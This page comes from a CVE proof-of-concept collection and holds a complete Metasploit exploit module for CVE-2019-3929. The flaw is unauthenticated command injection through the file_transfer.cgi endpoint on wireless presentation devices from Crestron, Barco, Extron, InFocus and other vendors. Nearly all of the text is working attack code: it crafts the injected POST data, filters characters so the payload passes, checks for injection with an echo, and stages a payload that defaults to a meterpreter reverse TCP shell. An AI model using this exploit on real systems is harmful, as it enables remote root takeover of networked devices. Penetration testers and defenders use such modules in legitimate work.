4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-3929.rb RB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::CRand
    include Msf::Exploit::CmdStager
  
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Crestron/Barco/Extron/InFocus/TeqAV Remote Command Injection",
            'Description'    => %q{
                The Crestron AM-100 firmware 1.6.0.2, Crestron AM-101 firmware 2.7.0.1, Barco wePresent 
                WiPG-1000P firmware 2.3.0.10, Barco wePresent WiPG-1600W before firmware 2.4.1.19, Extron 
                ShareLink 200/250 firmware 2.0.3.4, Teq AV IT WIPS710 firmware 1.1.0.7, SHARP PN-L703WA 
                firmware 1.4.2.3, Optoma WPS-Pro firmware 1.0.0.5, Blackbox HD WPS firmware 1.0.0.5, 
                InFocus LiteShow3 firmware 1.0.16, and InFocus LiteShow4 2.0.0.7 are vulnerable to 
                command injection via the file_transfer.cgi HTTP endpoint. A remote, unauthenticated 
                attacker can use this vulnerability to execute operating system commands as root.    
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'Tenable', 'Forrest' ],
            'References'     => [
                [ 'CVE', 'CVE-2019-3929'],
                [ 'URL', 'https://www.tenable.com/security/research/tra-2019-20' ],
                [ 'URL', 'https://www.tenable.com/cve/CVE-2019-3929' ]
            ],
            'Platform'       => 'linux',
            'Arch'           => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],
            'Targets'        => [
                ['armle',  {'Arch' => ARCH_ARMLE}],
                ['x86',    {'Arch' => ARCH_X86}],
                ['x64',    {'Arch' => ARCH_X64}],
                ['mipsle', {'Arch' => ARCH_MIPSLE}]
            ],
            'Privileged'     => false,
            'CmdStagerFlavor' => [ 'printf' ],
            'DefaultOptions' => {
                'SSL'     => true,
                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
            },
            'Payload'        => {
              'DisableNops' => true
            },
            'DisclosureDate' => "2019-04-30",
            'DefaultTarget'  => 0)
        )
        register_options(
            [
                Opt::RPORT(443)
            ], self.class
        )
    end
  
    def filter_bad_chars(cmd)
        cmd.gsub!(/chmod \+x/, 'chmod 777')
        cmd.gsub!(/;/, 'Pa_Note')
        cmd.gsub!(/ /, '+')
        return cmd
    end

    def execute_command(cmd, opts = {})
        begin
            #print_line("file_transfer=new&dir='Pa_Note#{filter_bad_chars(cmd)}'")
            res = send_request_cgi({
                'uri'       => '/cgi-bin/file_transfer.cgi',
                'method'    => 'POST',
                'ssl'       => true,
                'port'      => rport,
                'data'      => "file_transfer=new&dir='Pa_Note#{filter_bad_chars(cmd)}'",
                'headers'   => {
                    'ContentType' => 'application/x-www-form-urlencoded'
                }
            })
            #print_line(res.body)
            return res
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - HTTP(S) Connection Failed...")
            return
        end
    end
    
    def can_inject_commands
        print_status("Checking for Remote Command Injection...")
        random_length = (random_r % 32) + 64
        verification_string = Rex::Text.rand_text_alphanumeric(random_length)

        res = execute_command("echo #{verification_string}")
        good_response = (
            res &&
            res.code == 200 &&
            (res.body.include?(verification_string))
        )
        if good_response
            print_good("#{rhost}:#{rport} - Successfully ran remote command...")
            return true
        else
            print_error("#{rhost}:#{rport} - Failed to run remote command...")
            return false
        end
    end
    
    def check
        success = can_inject_commands
        if (success == true)
            return CheckCode::Vulnerable
        else
            return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
        end
    end

  def exploit
    # Main function
    print_status("Exploiting...")
    execute_cmdstager(linemax: 200)
  end

end